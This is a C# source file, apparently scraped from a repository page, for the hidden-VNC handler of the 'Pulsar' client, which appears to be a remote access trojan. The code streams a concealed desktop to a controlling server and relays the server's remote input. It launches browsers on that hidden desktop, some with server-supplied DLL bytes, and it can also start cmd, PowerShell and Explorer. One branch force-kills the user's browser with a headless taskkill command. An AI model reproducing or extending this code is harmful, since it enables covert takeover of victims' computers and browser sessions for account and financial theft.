417 lines
15 KiB
C#
417 lines
15 KiB
C#
using System;
|
|
using System.Collections.Concurrent;
|
|
using System.Collections.Generic;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.Drawing.Imaging;
|
|
using System.IO;
|
|
using System.Threading;
|
|
using System.Threading.Tasks;
|
|
using Pulsar.Client.Helper;
|
|
using Pulsar.Client.Helper.HVNC;
|
|
using Pulsar.Common.Enums;
|
|
using Pulsar.Common.Messages;
|
|
using Pulsar.Common.Messages.Monitoring.HVNC;
|
|
using Pulsar.Common.Messages.Other;
|
|
using Pulsar.Common.Networking;
|
|
using Pulsar.Common.Video;
|
|
using Pulsar.Common.Video.Codecs;
|
|
|
|
namespace Pulsar.Client.Messages
|
|
{
|
|
public class HVNCHandler : IMessageProcessor, IDisposable
|
|
{
|
|
private UnsafeStreamCodec _streamCodec;
|
|
private BitmapData _desktopData = null;
|
|
private Bitmap _desktop = null;
|
|
private ISender _clientMain;
|
|
private Thread _captureThread;
|
|
private CancellationTokenSource _cancellationTokenSource;
|
|
|
|
|
|
private readonly ImageHandler ImageHandler = new ImageHandler("PulsarDesktop");
|
|
private readonly InputHandler InputHandler = new InputHandler("PulsarDesktop");
|
|
private readonly ProcessController ProcessHandler = new ProcessController("PulsarDesktop");
|
|
|
|
// frame control variables
|
|
private readonly ConcurrentQueue<byte[]> _frameBuffer = new ConcurrentQueue<byte[]>();
|
|
private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false);
|
|
private int _pendingFrameRequests = 0;
|
|
|
|
//fps counting
|
|
private int _framesSent = 0;
|
|
private float _currentFps = 0f;
|
|
|
|
// max buffer size to prevent memory issues
|
|
private const int MAX_BUFFER_SIZE = 10;
|
|
|
|
private readonly Stopwatch _stopwatch = new Stopwatch();
|
|
|
|
public bool CanExecute(IMessage message)
|
|
{
|
|
return message is GetHVNCDesktop || message is DoHVNCInput || message is StartHVNCProcess || message is GetHVNCMonitors;
|
|
}
|
|
|
|
public bool CanExecuteFrom(ISender sender)
|
|
{
|
|
return true;
|
|
}
|
|
|
|
public void Execute(ISender sender, IMessage message)
|
|
{
|
|
switch (message)
|
|
{
|
|
case GetHVNCDesktop getDesktop:
|
|
Execute(sender, getDesktop);
|
|
break;
|
|
case DoHVNCInput doInput:
|
|
InputHandler.Input(doInput.msg, (IntPtr)doInput.wParam, (IntPtr)doInput.lParam);
|
|
break;
|
|
case StartHVNCProcess startHVNCProcess:
|
|
_ = ExecuteAsync(sender, startHVNCProcess);
|
|
break;
|
|
case GetHVNCMonitors _:
|
|
Execute(sender);
|
|
break;
|
|
}
|
|
}
|
|
|
|
private void Execute(ISender client, GetHVNCDesktop message)
|
|
{
|
|
if (message.Status == RemoteDesktopStatus.Stop)
|
|
{
|
|
StopScreenStreaming();
|
|
}
|
|
else if (message.Status == RemoteDesktopStatus.Start)
|
|
{
|
|
StartScreenStreaming(client, message);
|
|
}
|
|
else if (message.Status == RemoteDesktopStatus.Continue)
|
|
{
|
|
Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested);
|
|
_frameRequestEvent.Set();
|
|
}
|
|
}
|
|
|
|
private void StartScreenStreaming(ISender client, GetHVNCDesktop message)
|
|
{
|
|
var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex);
|
|
var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width };
|
|
|
|
if (_streamCodec == null)
|
|
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
|
|
|
if (message.CreateNew)
|
|
{
|
|
_streamCodec?.Dispose();
|
|
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
|
}
|
|
|
|
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
|
|
{
|
|
_streamCodec?.Dispose();
|
|
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
|
}
|
|
|
|
_clientMain = client;
|
|
|
|
ClearFrameBuffer();
|
|
Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested);
|
|
|
|
if (_captureThread == null || !_captureThread.IsAlive)
|
|
{
|
|
_cancellationTokenSource = new CancellationTokenSource();
|
|
_captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token, message.DisplayIndex))
|
|
{
|
|
IsBackground = true,
|
|
Name = "HVNC Capture Loop"
|
|
};
|
|
_captureThread.Start();
|
|
}
|
|
}
|
|
|
|
private void StopScreenStreaming()
|
|
{
|
|
_cancellationTokenSource?.Cancel();
|
|
|
|
if (_captureThread != null && _captureThread.IsAlive)
|
|
{
|
|
_frameRequestEvent.Set();
|
|
_captureThread.Join();
|
|
_captureThread = null;
|
|
}
|
|
|
|
if (_desktop != null)
|
|
{
|
|
if (_desktopData != null)
|
|
{
|
|
try
|
|
{
|
|
_desktop.UnlockBits(_desktopData);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
_desktopData = null;
|
|
}
|
|
_desktop.Dispose();
|
|
_desktop = null;
|
|
}
|
|
|
|
if (_streamCodec != null)
|
|
{
|
|
_streamCodec.Dispose();
|
|
_streamCodec = null;
|
|
}
|
|
|
|
ClearFrameBuffer();
|
|
Interlocked.Exchange(ref _pendingFrameRequests, 0);
|
|
}
|
|
|
|
private void BufferedCaptureLoop(CancellationToken cancellationToken, int displayIndex)
|
|
{
|
|
_stopwatch.Start();
|
|
|
|
while (!cancellationToken.IsCancellationRequested)
|
|
{
|
|
try
|
|
{
|
|
if (_frameBuffer.Count >= MAX_BUFFER_SIZE || _pendingFrameRequests <= 0)
|
|
{
|
|
_frameRequestEvent.WaitOne(500);
|
|
|
|
if (cancellationToken.IsCancellationRequested)
|
|
break;
|
|
|
|
continue;
|
|
}
|
|
|
|
byte[] frameData = CaptureFrame(displayIndex);
|
|
if (frameData != null)
|
|
{
|
|
_frameBuffer.Enqueue(frameData);
|
|
_framesSent++;
|
|
|
|
if (_stopwatch.ElapsedMilliseconds >= 1000)
|
|
{
|
|
_currentFps = _framesSent / (_stopwatch.ElapsedMilliseconds / 1000f);
|
|
_framesSent = 0;
|
|
_stopwatch.Restart();
|
|
}
|
|
}
|
|
|
|
while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend))
|
|
{
|
|
SendFrameToServer(frameToSend, Interlocked.Decrement(ref _pendingFrameRequests) == 0);
|
|
}
|
|
}
|
|
catch (Exception)
|
|
{
|
|
Thread.Sleep(100);
|
|
}
|
|
}
|
|
}
|
|
|
|
private byte[] CaptureFrame(int displayIndex)
|
|
{
|
|
try
|
|
{
|
|
_desktop = ImageHandler.Screenshot(displayIndex);
|
|
|
|
if (_desktop == null)
|
|
{
|
|
return null;
|
|
}
|
|
|
|
const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb;
|
|
Bitmap processedBitmap = _desktop;
|
|
|
|
if (_desktop.PixelFormat != codecPixelFormat)
|
|
{
|
|
try
|
|
{
|
|
processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat);
|
|
using (Graphics g = Graphics.FromImage(processedBitmap))
|
|
{
|
|
g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height);
|
|
}
|
|
_desktop.Dispose();
|
|
_desktop = processedBitmap;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Debug.WriteLine($"Error converting pixel format: {ex.Message}");
|
|
// Continue with original bitmap if conversion fails
|
|
processedBitmap = _desktop;
|
|
}
|
|
}
|
|
|
|
_desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
|
|
ImageLockMode.ReadWrite, processedBitmap.PixelFormat);
|
|
|
|
using (MemoryStream stream = new MemoryStream())
|
|
{
|
|
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
|
|
_streamCodec.CodeImage(_desktopData.Scan0,
|
|
new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
|
|
new Size(processedBitmap.Width, processedBitmap.Height),
|
|
processedBitmap.PixelFormat, stream);
|
|
|
|
return stream.ToArray();
|
|
}
|
|
}
|
|
catch (Exception)
|
|
{
|
|
return null;
|
|
}
|
|
finally
|
|
{
|
|
if (_desktopData != null)
|
|
{
|
|
_desktop.UnlockBits(_desktopData);
|
|
_desktopData = null;
|
|
}
|
|
_desktop?.Dispose();
|
|
_desktop = null;
|
|
}
|
|
}
|
|
|
|
private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame)
|
|
{
|
|
if (frameData == null || _clientMain == null) return;
|
|
|
|
try
|
|
{
|
|
_clientMain.Send(new GetHVNCDesktopResponse
|
|
{
|
|
Image = frameData,
|
|
Quality = _streamCodec.ImageQuality,
|
|
Monitor = _streamCodec.Monitor,
|
|
Resolution = _streamCodec.Resolution,
|
|
Timestamp = DateTimeOffset.UtcNow.ToUnixTimeMilliseconds(),
|
|
IsLastRequestedFrame = isLastRequestedFrame,
|
|
Fps = _currentFps
|
|
});
|
|
}
|
|
catch (Exception)
|
|
{
|
|
}
|
|
}
|
|
|
|
private void ClearFrameBuffer()
|
|
{
|
|
while (_frameBuffer.TryDequeue(out _)) { }
|
|
}
|
|
|
|
private async Task ExecuteAsync(ISender client, StartHVNCProcess message)
|
|
{
|
|
try
|
|
{
|
|
string name = message.Path;
|
|
bool dontCloneProfile = message.DontCloneProfile;
|
|
byte[] dllBytes = message.DllBytes;
|
|
|
|
var browserPaths = new Dictionary<string, string>
|
|
{
|
|
{ "Chrome", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Google\\Chrome\\Application\\chrome.exe" },
|
|
{ "Edge", Environment.GetEnvironmentVariable("PROGRAMFILES(X86)") + "\\Microsoft\\Edge\\Application\\msedge.exe" },
|
|
{ "Brave", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" },
|
|
{ "Opera", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera\\opera.exe" },
|
|
{ "OperaGX", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera GX\\opera.exe" },
|
|
{ "Mozilla", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\firefox.exe" }
|
|
};
|
|
|
|
if (dontCloneProfile && browserPaths.TryGetValue(name, out string executablePath) && File.Exists(executablePath))
|
|
{
|
|
string browserProcess = name.ToLower().Replace("mozilla", "firefox").Replace("edge", "msedge").Replace("operagx", "opera");
|
|
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {browserProcess}.exe /F";
|
|
Debug.WriteLine(killCommand);
|
|
ProcessHandler.CreateProc(killCommand);
|
|
await Task.Delay(1000).ConfigureAwait(false);
|
|
|
|
Debug.WriteLine($"Direct starting browser: {executablePath}");
|
|
|
|
ProcessHandler.CreateProc(executablePath);
|
|
return;
|
|
}
|
|
|
|
switch (name)
|
|
{
|
|
case "GenericChromium":
|
|
await ProcessHandler.StartGenericChromiumAsync(
|
|
dllBytes,
|
|
message.CustomBrowserPath,
|
|
message.CustomSearchPattern,
|
|
message.CustomReplacementPath
|
|
).ConfigureAwait(false);
|
|
break;
|
|
case "Chrome":
|
|
await ProcessHandler.StartChromeAsync(dllBytes).ConfigureAwait(false);
|
|
break;
|
|
case "Edge":
|
|
await ProcessHandler.StartEdgeAsync(dllBytes).ConfigureAwait(false);
|
|
break;
|
|
case "Brave":
|
|
await ProcessHandler.StartBraveAsync(dllBytes).ConfigureAwait(false);
|
|
break;
|
|
case "Opera":
|
|
await ProcessHandler.StartOperaAsync(dllBytes).ConfigureAwait(false);
|
|
break;
|
|
case "OperaGX":
|
|
await ProcessHandler.StartOperaGXAsync(dllBytes).ConfigureAwait(false);
|
|
break;
|
|
case "Explorer":
|
|
ProcessHandler.StartExplorer();
|
|
break;
|
|
case "Cmd":
|
|
ProcessHandler.StartCmd();
|
|
break;
|
|
case "Powershell":
|
|
ProcessHandler.StartPowershell();
|
|
break;
|
|
case "Mozilla":
|
|
await ProcessHandler.StartFirefoxAsync().ConfigureAwait(false);
|
|
break;
|
|
case "Discord":
|
|
ProcessHandler.StartDiscord();
|
|
break;
|
|
default:
|
|
ProcessHandler.StartGeneric(name);
|
|
break;
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Debug.WriteLine($"HVNC process start failed: {ex.Message}");
|
|
}
|
|
}
|
|
|
|
private void Execute(ISender client)
|
|
{
|
|
int monitorCount = ImageHandler.GetMonitorCount();
|
|
Debug.WriteLine($"HVNC: Sending monitor count: {monitorCount}");
|
|
client.Send(new GetHVNCMonitorsResponse { Number = monitorCount });
|
|
}
|
|
|
|
public void Dispose()
|
|
{
|
|
Dispose(true);
|
|
GC.SuppressFinalize(this);
|
|
}
|
|
|
|
protected virtual void Dispose(bool disposing)
|
|
{
|
|
if (disposing)
|
|
{
|
|
Debug.WriteLine("HVNC Handler Disposed");
|
|
StopScreenStreaming();
|
|
ImageHandler.Dispose();
|
|
InputHandler.Dispose();
|
|
_streamCodec?.Dispose();
|
|
_cancellationTokenSource?.Dispose();
|
|
_frameRequestEvent?.Dispose();
|
|
}
|
|
}
|
|
}
|
|
}
|